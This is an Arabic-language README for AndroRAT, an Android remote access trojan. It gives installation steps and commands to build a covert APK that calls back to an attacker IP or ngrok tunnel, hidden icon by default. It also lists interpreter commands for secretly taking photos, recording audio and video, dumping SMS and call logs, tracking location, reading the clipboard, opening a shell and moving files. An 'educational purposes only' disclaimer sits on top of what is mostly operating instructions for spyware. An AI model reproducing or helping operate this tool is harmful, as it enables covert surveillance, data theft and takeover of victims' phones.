إخلاء المسؤولية : هذا البرنامج مخصص للأغراض التعليمية فقط. أنا لست مسؤولاً عن أي استخدام ضار للتطبيق.
AndroRAT هي أداة مصممة لمنح التحكم في نظام Android عن بعد واسترجاع المعلومات منه. Androrat هو تطبيق عميل/خادم تم تطويره بلغة Java Android من جانب العميل والخادم موجود في Python.
يعمل AndroRAT أيضًا على نظام التشغيل Android 10 (Q) ولكن بعض أوامر المترجم الفوري ستكون غير مستقرة.
يتطلب AndroRAT Python3 وJAVA (أو Android Studio)
git clone https://github.com/karma9874/AndroRAT.git
cd AndroRAT
pip install -r requirements.txt
أثناء استنساخ المستودع باستخدام Git bash على نظام التشغيل Windows، قد تحصل على الخطأ التالي:
خطأ: غير قادر على إنشاء ملف <اسم الملف>: اسم الملف طويل جدًا
وذلك لأن Git لديه حد يبلغ 4096 حرفًا لاسم الملف، باستثناء نظام Windows عندما يتم تجميع Git مع msys. ويستخدم إصدارًا أقدم من Windows API ويوجد حد يبلغ 260 حرفًا لاسم الملف.
يمكنك التحايل على هذا عن طريق تعيين core.longpaths
إلى true
.
git config --system core.longpaths صحيح
يجب عليك تشغيل Git bash بامتيازات المسؤول.
*#*#1337#*#*
(في الوقت الحالي، يوجد خياران فقط Restart Activity
Uninstall
)ملاحظة: لاستخدام هذه الميزة في بعض الأجهزة، تحتاج إلى تمكين خيار
display pop-up windows running in background
من الإعدادات.
--build
- لإنشاء ملف APK لنظام Android--ngrok
- لاستخدام نفق ngrok (عبر الإنترنت)--shell
- الحصول على غلاف تفاعلي للجهازbuild
Usage:
python3 androRAT.py --build --ngrok [flags]
Flags:
-p, --port Attacker port number (optional by default its set to 8000)
-o, --output Name for the apk file (optional by default its set to "karma.apk")
-icon, --icon Visible icon after installing apk (by default set to hidden)
Usage:
python3 androRAT.py --build [flags]
Flags:
-i, --ip Attacker IP address (required)
-p, --port Attacker port number (required)
-o, --output Name for the apk file (optional)
-icon, --icon Visible icon after installing apk (by default set to hidden)
أو يمكنك إنشاء ملف APK يدويًا عن طريق استيراد مجلد Android Code إلى Android Studio وتغيير عنوان IP ورقم المنفذ في ملف config.java ومن ثم يمكنك إنشاء ملف APK الموقع من Android Studio -> Build -> Generate Signed APK(s)
shell
Usage:
python3 androRAT.py --shell [flags]
Flags:
-i, --ip Listner IP address
-p, --port Listner port number
بعد تشغيل وضع shell
سوف تحصل على مترجم للجهاز
الأوامر التي يمكن تشغيلها على المترجم
deviceInfo --> returns basic info of the device
camList --> returns cameraID
takepic [cameraID] --> Takes picture from camera
startVideo [cameraID] --> starts recording the video
stopVideo --> stop recording the video and return the video file
startAudio --> starts recording the audio
stopAudio --> stop recording the audio
getSMS [inbox|sent] --> returns inbox sms or sent sms in a file
getCallLogs --> returns call logs in a file
shell --> starts a sh shell of the device
vibrate [number_of_times] --> vibrate the device number of time
getLocation --> return the current location of the device
getIP --> returns the ip of the device
getSimDetails --> returns the details of all sim of the device
clear --> clears the screen
getClipData --> return the current saved text from the clipboard
getMACAddress --> returns the mac address of the device
exit --> exit the interpreter
يوجد في shell sh بعض الأوامر الفرعية
get [full_file_path] --> donwloads the file to the local machine (file size upto 15mb)
put [filename] --> uploads the file to the android device
لإنشاء ملف apk باستخدام ngrok والذي سيعمل أيضًا على تعيين المستمع: python3 androRAT.py --build --ngrok -o evil.apk
لإنشاء ملف APK باستخدام عنوان IP والمنفذ المطلوبين: python3 androRAT.py --build -i 192.169.xx -p 8000 -o evil.apk
للحصول على المترجم: python3 androRAT.py --shell -i 0.0.0.0 -p 8000
AndroRAT مرخص بموجب ترخيص MIT، قم بإلقاء نظرة على الترخيص لمزيد من المعلومات.